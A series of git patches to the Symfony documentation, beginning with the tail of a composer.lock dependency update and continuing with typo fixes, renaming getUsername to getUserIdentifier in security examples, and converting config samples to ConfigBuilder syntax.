+                "reference": "ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-intl-grapheme": "~1.0",
+                "symfony/polyfill-intl-normalizer": "~1.0",
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php80": "~1.15"
+            },
+            "require-dev": {
+                "symfony/error-handler": "^4.4|^5.0",
+                "symfony/http-client": "^4.4|^5.0",
+                "symfony/translation-contracts": "^1.1|^2",
+                "symfony/var-exporter": "^4.4|^5.0"
+            },
+            "type": "library",
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\String\\": ""
+                },
+                "files": [
+                    "Resources/functions.php"
+                ],
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "grapheme",
+                "i18n",
+                "string",
+                "unicode",
+                "utf-8",
+                "utf8"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/string/tree/v5.2.6"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-03-17T17:12:15+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v2.14.3",
+            "version": "v3.3.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "8bc568d460d88b25c00c046256ec14a787ea60d9"
+                "reference": "1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/8bc568d460d88b25c00c046256ec14a787ea60d9",
-                "reference": "8bc568d460d88b25c00c046256ec14a787ea60d9",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5",
+                "reference": "1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5",
                 "shasum": ""
             },
             "require": {
@@ -1927,13 +1648,10 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "2.14-dev"
+                    "dev-master": "3.3-dev"
                 }
             },
             "autoload": {
-                "psr-0": {
-                    "Twig_": "lib/"
-                },
                 "psr-4": {
                     "Twig\\": "src/"
                 }
@@ -1966,7 +1684,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v2.14.3"
+                "source": "https://github.com/twigphp/Twig/tree/v3.3.0"
             },
             "funding": [
                 {
@@ -1978,7 +1696,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-05T15:34:33+00:00"
+            "time": "2021-02-08T09:54:36+00:00"
         }
     ],
     "packages-dev": [],
@@ -1988,11 +1706,11 @@
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
-        "php": ">=7.2.9"
+        "php": ">=7.4"
     },
     "platform-dev": [],
     "platform-overrides": {
-        "php": "7.2.9"
+        "php": "7.4.14"
     },
     "plugin-api-version": "2.0.0"
 }

From e0b27461d8251c1dbdbc645c28e02cc9929f1e8c Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Sat, 24 Apr 2021 11:53:21 +0200
Subject: [PATCH 2139/7107] [EventDispatcher] Minor fixes

---
 components/event_dispatcher/generic_event.rst | 2 +-
 event_dispatcher/before_after_filters.rst     | 2 +-
 event_dispatcher/method_behavior.rst          | 4 ++--
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index 1f9be477151..1dc2a5be638 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -80,7 +80,7 @@ access the event arguments::
     {
         public function handler(GenericEvent $event)
         {
-            if (isset($event['type']) && $event['type'] === 'foo') {
+            if (isset($event['type']) && 'foo' === $event['type']) {
                 // ... do something
             }
 
diff --git a/event_dispatcher/before_after_filters.rst b/event_dispatcher/before_after_filters.rst
index 6c48d62ee24..5be62d9ac09 100644
--- a/event_dispatcher/before_after_filters.rst
+++ b/event_dispatcher/before_after_filters.rst
@@ -189,7 +189,7 @@ serve as a basic flag that this request underwent token authentication::
     {
         // ...
 
-        if ($controller[0] instanceof TokenAuthenticatedController) {
+        if ($controller instanceof TokenAuthenticatedController) {
             $token = $event->getRequest()->query->get('token');
             if (!in_array($token, $this->tokens)) {
                 throw new AccessDeniedHttpException('This action needs a valid token!');
diff --git a/event_dispatcher/method_behavior.rst b/event_dispatcher/method_behavior.rst
index cea11e72d8d..4e2f00fef0e 100644
--- a/event_dispatcher/method_behavior.rst
+++ b/event_dispatcher/method_behavior.rst
@@ -21,7 +21,7 @@ end of the method::
             $event = new BeforeSendMailEvent($subject, $message);
             $this->dispatcher->dispatch($event, 'mailer.pre_send');
 
-            // get $foo and $bar from the event, they may have been modified
+            // get $subject and $message from the event, they may have been modified
             $subject = $event->getSubject();
             $message = $event->getMessage();
 
@@ -134,7 +134,7 @@ could listen to the ``mailer.post_send`` event and change the method's return va
         public static function getSubscribedEvents()
         {
             return [
-                'mailer.post_send' => 'onMailerPostSend'
+                'mailer.post_send' => 'onMailerPostSend',
             ];
         }
     }

From 0e6ed437b0a6e089811a4f97024fb6a6045b9c09 Mon Sep 17 00:00:00 2001
From: Neal Brooks <nealio82@gmail.com>
Date: Fri, 23 Apr 2021 21:41:58 +0100
Subject: [PATCH 2140/7107] fix 'eachother' -> 'each other'

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 75ed2946009..8c00c827a9a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -128,7 +128,7 @@ class to help you creating and booting the kernel in your tests using
     }
 
 The ``KernelTestCase`` also makes sure your kernel is rebooted for each
-test. This assures that each test is run independently from eachother.
+test. This assures that each test is run independently from each other.
 
 To run your application tests, the ``KernelTestCase`` class needs to
 find the application kernel to initialize. The kernel class is

From e6818803044f7331e2bb1f0350eb31da841563a7 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 24 Apr 2021 18:01:34 +0200
Subject: [PATCH 2141/7107] Minor rewording

---
 reference/forms/types/options/label.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 9797b6264cf..3d9b6bd1674 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -3,8 +3,8 @@
 
 **type**: ``string`` **default**: The label is "guessed" from the field name
 
-Sets the label that will be used when rendering the field. Setting to false
-will suppress the label. The label can also be directly set inside the template:
+Sets the label that will be used when rendering the field. Setting to ``false``
+will suppress the label. The label can also be set in the template:
 
 .. configuration-block::
 

From 0df93933009db1380ea525f228e11c8b479ee5c0 Mon Sep 17 00:00:00 2001
From: jean-marie leroux <jmleroux.pro@gmail.com>
Date: Fri, 23 Apr 2021 18:04:48 +0200
Subject: [PATCH 2142/7107] [Security] Fixes typo in experimental
 authenticators

`$email` was not defined in the example.
---
 security/experimental_authenticators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index b7734ef88e0..027b1087d1d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -582,7 +582,7 @@ would initialize the passport like this::
             // ... validate no parameter is empty
 
             return new Passport(
-                new UserBadge($email),
+                new UserBadge($username),
                 new PasswordCredentials($password),
                 [new CsrfTokenBadge('login', $csrfToken)]
             );

From c471e642fec742a7ad57e8210a866a0566928c71 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 26 Apr 2021 11:19:05 +0200
Subject: [PATCH 2143/7107] Remove personal e-mailaddress from the code example

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 0c8309aec71..03837f04462 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -508,7 +508,7 @@ sent using the Slack transport::
                 ->content('You got a new invoice for 15 EUR.')
                 ->importance(Notification::IMPORTANCE_HIGH);
 
-            $notifier->send($notification, new Recipient('wouter@wouterj.nl'));
+            $notifier->send($notification, new Recipient('wouter@example.com'));
 
             // ...
         }

From 16050c8e68adddd98736963c92b9bd7db63aa347 Mon Sep 17 00:00:00 2001
From: Remon van de Kamp <rpkamp@gmail.com>
Date: Mon, 26 Apr 2021 21:08:32 +0200
Subject: [PATCH 2144/7107] Make it clear that configuring a constraint doesn't
 enforce anything

---
 validation.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index 55d0c6aaed5..65f174d5094 100644
--- a/validation.rst
+++ b/validation.rst
@@ -47,7 +47,7 @@ order to be valid. These rules are usually defined using PHP code or
 annotations but they can also be defined as ``.yaml`` or ``.xml`` files inside
 the ``config/validator/`` directory:
 
-For example, to guarantee that the ``$name`` property is not empty, add the
+For example, to indicate that the ``$name`` property must not be empty, add the
 following:
 
 .. configuration-block::
@@ -110,6 +110,11 @@ following:
             }
         }
 
+Adding this configuration by itself does not yet guarantee that the value will
+not be blank; you can still set it to a blank value if you want.
+To actually guarantee that the value adheres to the constraint, the object must
+be passed to the Validator Service to be checked.
+
 .. tip::
 
     Symfony's validator uses PHP reflection, as well as *"getter"* methods, to

From 778594cbd5225974cc5df03d13a4fdd5ea2833fe Mon Sep 17 00:00:00 2001
From: iamvar <iamvar@gmail.com>
Date: Tue, 27 Apr 2021 19:17:25 +0300
Subject: [PATCH 2145/7107] match example with description above

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bae2c262213..0421561a1e0 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1491,7 +1491,7 @@ and ``BitBucketCodeRepository`` classes:
          *    "bitbucket"="App\BitBucketCodeRepository"
          * })
          */
-        interface CodeRepository
+        abstract class CodeRepository
         {
             // ...
         }

From ec1920e0712786b00c5d138ebf79fcd1bba726be Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Apr 2021 11:09:11 +0200
Subject: [PATCH 2146/7107] [Runtime] Minor fixes

---
 components/runtime.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 2bdad2e38f5..cf11c81e60f 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -46,7 +46,7 @@ the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
 #. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
-   is to resolve the arguments (in this example: ``array $content``);
+   is to resolve the arguments (in this example: ``array $context``);
 #. Then, this callable is called to get the application (``App\Kernel``);
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
@@ -172,12 +172,12 @@ a number of different applications are supported::
 The ``SymfonyRuntime`` can handle these applications:
 
 :class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface`
-    The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner``
+    The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner`
     like a "standard" Symfony application.
 
 :class:`Symfony\\Component\\HttpFoundation\\Response`
     The Response will be printed by
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner``::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner`::
 
         <?php
         // public/index.php
@@ -191,7 +191,7 @@ The ``SymfonyRuntime`` can handle these applications:
 
 :class:`Symfony\\Component\\Console\\Command\\Command`
     To write single command applications. This will use the
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
 
         <?php
 
@@ -211,7 +211,7 @@ The ``SymfonyRuntime`` can handle these applications:
 
 :class:`Symfony\\Component\\Console\\Application`
     Useful with console applications with more than one command. This will use the
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
 
         <?php
 
@@ -361,7 +361,7 @@ class will have more control and can fix bugs and add features.
 
 .. note::
 
-    Before Symfony 5.3, the Symfony boostrap logic was part of a Flex recipe.
+    Before Symfony 5.3, the Symfony bootstrap logic was part of a Flex recipe.
     Since recipes are rarely updated by users, bug patches would rarely be
     installed.
 
@@ -377,7 +377,7 @@ application outside of the global state in 6 steps:
    represents the application.
 #. This *application object* is passed to ``RuntimeInterface::getRunner()``, which
    returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance
-   that knows how to "run" the appliction object.
+   that knows how to "run" the application object.
 #. The ``RunnerInterface::run(object $application)`` is called and it returns the
    exit status code as `int`.
 #. The PHP engine is exited with this status code.

From f2b7ad9ab5ed02ac50917c929e5776c64e3dee4f Mon Sep 17 00:00:00 2001
From: Antonin CLAUZIER <antonin@clauzier.dev>
Date: Thu, 29 Apr 2021 18:06:43 +0200
Subject: [PATCH 2147/7107] Updates method reference for retrieving console
 helpers

---
 components/console/helpers/formatterhelper.rst | 4 ++--
 components/console/helpers/questionhelper.rst  | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index ad2bded040b..78dd3dfa581 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -9,8 +9,8 @@ You can do more advanced things with this helper than you can in
 :doc:`/console/coloring`.
 
 The :class:`Symfony\\Component\\Console\\Helper\\FormatterHelper` is included
-in the default helper set, which you can get by calling
-:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`::
+in the default helper set and you can get it by calling
+:method:`Symfony\\Component\\Console\\Command\\Command::getHelper`::
 
     $formatter = $this->getHelper('formatter');
 
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 2174550a0cd..9c1696a7569 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -6,8 +6,8 @@ Question Helper
 
 The :class:`Symfony\\Component\\Console\\Helper\\QuestionHelper` provides
 functions to ask the user for more information. It is included in the default
-helper set, which you can get by calling
-:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`::
+helper set and you can get it by calling
+:method:`Symfony\\Component\\Console\\Command\\Command::getHelper`::
 
     $helper = $this->getHelper('question');
 

From 3cceddc8141137b9887e101b951df46c8b1c5992 Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Thu, 29 Apr 2021 23:20:24 +0300
Subject: [PATCH 2148/7107] Added caution notice about nested bundle configs

---
 configuration.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index fbd36889577..f2d0e4c0780 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -876,7 +876,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)
                     ->bind('$projectDir', '%kernel.project_dir%');
-            
+
             // ...
         };
 
@@ -953,6 +953,12 @@ namespace ``Symfony\Config``::
         $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
     };
 
+.. caution::
+
+    Note that only "root" classes in the namespace ``Symfony\Config`` are ConfigBuilders.
+    Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are the Plain Old PHP
+    Objects and cannot be autowired when you specify it as an argument type.
+
 Keep Going!
 -----------
 

From ce457e0c2aa9625f2f2272e54df3b8576639f433 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Apr 2021 19:47:05 +0200
Subject: [PATCH 2149/7107] [Security] Removed some deprecated features related
 to User::getUsername()

---
 controller/argument_value_resolver.rst      |  2 +-
 reference/configuration/security.rst        |  4 +--
 routing.rst                                 |  6 ++--
 security/custom_authentication_provider.rst |  5 ++-
 security/experimental_authenticators.rst    |  2 +-
 security/guard_authentication.rst           |  4 +--
 security/json_login_setup.rst               |  4 ++-
 security/login_link.rst                     |  2 +-
 security/user_provider.rst                  | 40 ++++++++++-----------
 9 files changed, 37 insertions(+), 32 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index c9693bbaf9b..ebc59a02bf5 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -75,7 +75,7 @@ with the ``User`` class::
     {
         public function index(User $user)
         {
-            return new Response('Hello '.$user->getUsername().'!');
+            return new Response('Hello '.$user->getUserIdentifier().'!');
         }
     }
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 053ff55e300..630c65879f1 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -89,8 +89,8 @@ If ``true``, when a user is not found a generic exception of type
 is thrown with the message "Bad credentials".
 
 If ``false``, the exception thrown is of type
-:class:`Symfony\\Component\\Security\\Core\\Exception\\UsernameNotFoundException`
-and it includes the given not found username.
+:class:`Symfony\\Component\\Security\\Core\\Exception\\UserNotFoundException`
+and it includes the given not found user identifier.
 
 session_fixation_strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/routing.rst b/routing.rst
index 191e255aab6..641d4e43b2f 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2402,7 +2402,7 @@ use the ``generateUrl()`` helper::
 
             // generate a URL with route arguments
             $userProfilePage = $this->generateUrl('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2472,7 +2472,7 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class
 
             // generate a URL with route arguments
             $userProfilePage = $this->router->generate('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
@@ -2595,7 +2595,7 @@ Now you'll get the expected results when generating URLs in your commands::
 
             // generate a URL with route arguments
             $userProfilePage = $this->router->generate('user_profile', [
-                'username' => $user->getUsername(),
+                'username' => $user->getUserIdentifier(),
             ]);
 
             // generated URLs are "absolute paths" by default. Pass a third optional
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index a638169f4f0..04c94a4a82c 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -218,7 +218,10 @@ the ``PasswordDigest`` header value matches with the user's password::
 
         public function authenticate(TokenInterface $token): WsseUserToken
         {
-            $user = $this->userProvider->loadUserByUsername($token->getUsername());
+            // The loadUserByIdentifier() and getUserIdentifier() methods were
+            // introduced in Symfony 5.3. In previous versions they were called
+            // loadUserByUsername() and getUsername() respectively
+            $user = $this->userProvider->loadUserByIdentifier($token->getUserIdentifier());
 
             if ($user && $this->validateDigest($token->digest, $token->nonce, $token->created, $user->getPassword())) {
                 $authenticatedToken = new WsseUserToken($user->getRoles());
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index b7734ef88e0..b35dbd79559 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -456,7 +456,7 @@ using :ref:`the user provider <security-user-providers>`::
     You can optionally pass a user loader as second argument to the
     ``UserBadge``. This callable receives the ``$userIdentifier``
     and must return a ``UserInterface`` object (otherwise a
-    ``UsernameNotFoundException`` is thrown)::
+    ``UserNotFoundException`` is thrown)::
 
         // src/Security/CustomAuthenticator.php
         namespace App\Security;
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index ebd1c2471ce..7108ba0906e 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -172,10 +172,10 @@ This requires you to implement several methods::
                 return null;
             }
 
-            // The "username" in this case is the apiToken, see the key `property`
+            // The user identifier in this case is the apiToken, see the key `property`
             // of `your_db_provider` in `security.yaml`.
             // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByUsername($credentials);
+            return $userProvider->loadUserByIdentifier($credentials);
         }
 
         public function checkCredentials($credentials, UserInterface $user): bool
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
index 6758a3917ef..41107f9f46a 100644
--- a/security/json_login_setup.rst
+++ b/security/json_login_setup.rst
@@ -85,7 +85,9 @@ The next step is to configure a route in your app matching this path:
                 $user = $this->getUser();
 
                 return $this->json([
-                    'username' => $user->getUsername(),
+                    // The getUserIdentifier() method was introduced in Symfony 5.3.
+                    // In previous versions it was called getUsername()
+                    'username' => $user->getUserIdentifier(),
                     'roles' => $user->getRoles(),
                 ]);
             }
diff --git a/security/login_link.rst b/security/login_link.rst
index 8abe8a05a27..ed8bb195e15 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -401,7 +401,7 @@ The signed URL contains 3 parameters:
     The UNIX timestamp when the link expires.
 
 ``user``
-    The value returned from ``$user->getUsername()`` for this user.
+    The value returned from ``$user->getUserIdentifier()`` for this user.
 
 ``hash``
     A hash of ``expires``, ``user`` and any configured signature
diff --git a/security/user_provider.rst b/security/user_provider.rst
index d4c26e9cc5a..e7a3cdec79a 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -124,7 +124,7 @@ the ``property`` config key. If you want a bit more control over this - e.g. you
 want to find a user by ``email`` *or* ``username``, you can do that by making
 your ``UserRepository`` implement the
 :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`. This
-interface only requires one method: ``loadUserByUsername($username)``::
+interface only requires one method: ``loadUserByIdentifier($identifier)``::
 
     // src/Repository/UserRepository.php
     namespace App\Repository;
@@ -137,7 +137,9 @@ interface only requires one method: ``loadUserByUsername($username)``::
     {
         // ...
 
-        public function loadUserByUsername(string $usernameOrEmail): ?User
+        // The loadUserByIdentifier() method was introduced in Symfony 5.3.
+        // In previous versions it was called loadUserByUsername()
+        public function loadUserByIdentifier(string $usernameOrEmail): ?User
         {
             $entityManager = $this->getEntityManager();
 
@@ -209,7 +211,7 @@ To finish this, remove the ``property`` key from the user provider in
 This tells Symfony to *not* query automatically for the User. Instead, when
 needed (e.g. because :doc:`user impersonation </security/impersonating_user>`,
 :doc:`Remember Me </security/remember_me>`, or some other security feature is
-activated), the ``loadUserByUsername()`` method on ``UserRepository`` will be called.
+activated), the ``loadUserByIdentifier()`` method on ``UserRepository`` will be called.
 
 .. _security-memory-user-provider:
 
@@ -367,7 +369,7 @@ command will generate a nice skeleton to get you started::
     namespace App\Security;
 
     use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
-    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
+    use Symfony\Component\Security\Core\Exception\UserNotFoundException;
     use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
     use Symfony\Component\Security\Core\User\UserProviderInterface;
@@ -375,23 +377,21 @@ command will generate a nice skeleton to get you started::
     class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
     {
         /**
-         * Symfony calls this method if you use features like switch_user
-         * or remember_me.
-         *
-         * If you're not using these features, you do not need to implement
-         * this method.
+         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
+         * In previous versions it was called loadUserByUsername()
          *
-         * @return UserInterface
+         * Symfony calls this method if you use features like switch_user
+         * or remember_me. If you're not using these features, you do not
+         * need to implement this method.
          *
-         * @throws UsernameNotFoundException if the user is not found
+         * @throws UserNotFoundException if the user is not found
          */
-        public function loadUserByUsername(string $username)
+        public function loadUserByIdentifier(string $identifier): UserInterface
         {
-            // Load a User object from your data source or throw UsernameNotFoundException.
-            // The $username argument may not actually be a username:
-            // it is whatever value is being returned by the getUsername()
-            // method in your User class.
-            throw new \Exception('TODO: fill in loadUserByUsername() inside '.__FILE__);
+            // Load a User object from your data source or throw UserNotFoundException.
+            // The $identifier argument is whatever value is being returned by the
+            // getUserIdentifier() method in your User class.
+            throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__);
         }
 
         /**
@@ -414,7 +414,7 @@ command will generate a nice skeleton to get you started::
             }
 
             // Return a User object after making sure its data is "fresh".
-            // Or throw a UsernameNotFoundException if the user no longer exists.
+            // Or throw a UserNotFoundException if the user no longer exists.
             throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
         }
 
@@ -467,8 +467,8 @@ request, it's deserialized and then passed to your user provider to "refresh" it
 Then, the two User objects (the original from the session and the refreshed User
 object) are "compared" to see if they are "equal". By default, the core
 ``AbstractToken`` class compares the return values of the ``getPassword()``,
-``getSalt()`` and ``getUsername()`` methods. If any of these are different, your
-user will be logged out. This is a security measure to make sure that malicious
+``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different,
+your user will be logged out. This is a security measure to make sure that malicious
 users can be de-authenticated if core user data changes.
 
 However, in some cases, this process can cause unexpected authentication problems.

From 2824979e952fcb85a64fea3948b5d8da3133c8c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Apr 2021 15:54:09 +0200
Subject: [PATCH 2150/7107] Tweaks

---
 configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index f2d0e4c0780..3a42a45680f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -953,11 +953,11 @@ namespace ``Symfony\Config``::
         $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
     };
 
-.. caution::
+.. note::
 
-    Note that only "root" classes in the namespace ``Symfony\Config`` are ConfigBuilders.
-    Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are the Plain Old PHP
-    Objects and cannot be autowired when you specify it as an argument type.
+    Only root classes in the namespace ``Symfony\Config`` are ConfigBuilders.
+    Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are regular
+    PHP objects which aren't autowired when using them as an argument type.
 
 Keep Going!
 -----------

From e57adb90d840d7cde2e419a0c5b27c3d7280e0df Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 11:51:36 +0200
Subject: [PATCH 2151/7107] [ConfigBuilder] Replace all framework config

---
 bundles/configuration.rst                |  21 +-
 cache.rst                                | 217 ++++++------
 configuration/env_var_processors.rst     |  66 ++--
 configuration/micro_kernel_trait.rst     |  15 +-
 configuration/override_dir_structure.rst |  12 +-
 configuration/secrets.rst                |  16 +-
 controller/error_pages.rst               |   8 +-
 deployment/proxies.rst                   |  22 +-
 frontend/custom_version_strategy.rst     |  11 +-
 http_cache/esi.rst                       |  21 +-
 http_cache/ssi.rst                       |  12 +-
 http_client.rst                          | 144 ++++----
 lock.rst                                 |  68 ++--
 mailer.rst                               | 103 +++---
 messenger.rst                            | 419 +++++++++++------------
 messenger/custom-transport.rst           |  15 +-
 messenger/multiple_buses.rst             |  46 +--
 notifier.rst                             | 107 +++---
 rate_limiter.rst                         |  63 ++--
 reference/configuration/framework.rst    | 247 ++++++-------
 security.rst                             |  64 ++--
 security/csrf.rst                        |  10 +-
 security/remember_me.rst                 |   2 +-
 session/database.rst                     |  36 +-
 session/php_bridge.rst                   |  28 +-
 session/proxy_examples.rst               |  13 +-
 templating/hinclude.rst                  |  12 +-
 testing/profiling.rst                    |  16 +-
 translation.rst                          |  39 ++-
 translation/locale.rst                   |  10 +-
 validation.rst                           |  24 +-
 workflow.rst                             | 233 +++++++------
 workflow/dumping-workflows.rst           | 131 ++++---
 workflow/workflow-and-state-machine.rst  | 108 +++---
 34 files changed, 1204 insertions(+), 1155 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 520e1f04220..198ac07450d 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -40,9 +40,11 @@ as integration of other related components:
 
     .. code-block:: php
 
-        $container->loadFromExtension('framework', [
-            'form' => true,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->enabled(true);
+        };
 
 Using the Bundle Extension
 --------------------------
@@ -81,12 +83,13 @@ can add some configuration that looks like this:
     .. code-block:: php
 
         // config/packages/acme_social.php
-        $container->loadFromExtension('acme_social', [
-            'twitter' => [
-                'client_id'     => 123,
-                'client_secret' => 'your_secret',
-            ],
-        ]);
+        use Symfony\Config\AcmeSocialConfig;
+
+        return static function (AcmeSocialConfig $acmeSocial) {
+            $acmeSocial->twitter()
+                ->clientId(123)
+                ->clientSecret('your_secret');
+        };
 
 The basic idea is that instead of having the user override individual
 parameters, you let the user configure just a few, specifically created,
